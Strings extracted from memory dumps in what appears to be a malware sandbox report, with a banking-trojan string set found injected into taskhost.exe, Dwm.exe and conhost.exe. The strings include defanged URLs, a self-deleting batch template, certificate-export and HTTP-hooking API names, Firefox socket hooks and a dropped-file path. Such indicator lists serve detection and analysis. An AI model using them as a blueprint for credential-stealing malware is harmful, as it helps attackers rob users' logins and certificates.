Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

taskhost.exe_1924_rwx_00650000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlDe

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

log%s

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

C:\Users\"%CurrentUserName%"\AppData\Roaming\Luivy\yncuu.osu

C:\Users\"%CurrentUserName%"\AppData\Roaming\Luivy

yncuu.osu

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Dwm.exe_2044_rwx_010E0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

log%s

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

:\Users\"%CurrentUserName%"\AppData\Roaming\Luivy\yncuu.osu

C:\Users\"%CurrentUserName%"\AppData\Roaming\Luivy

yncuu.osu

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

conhost.exe_3876_rwx_001D0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps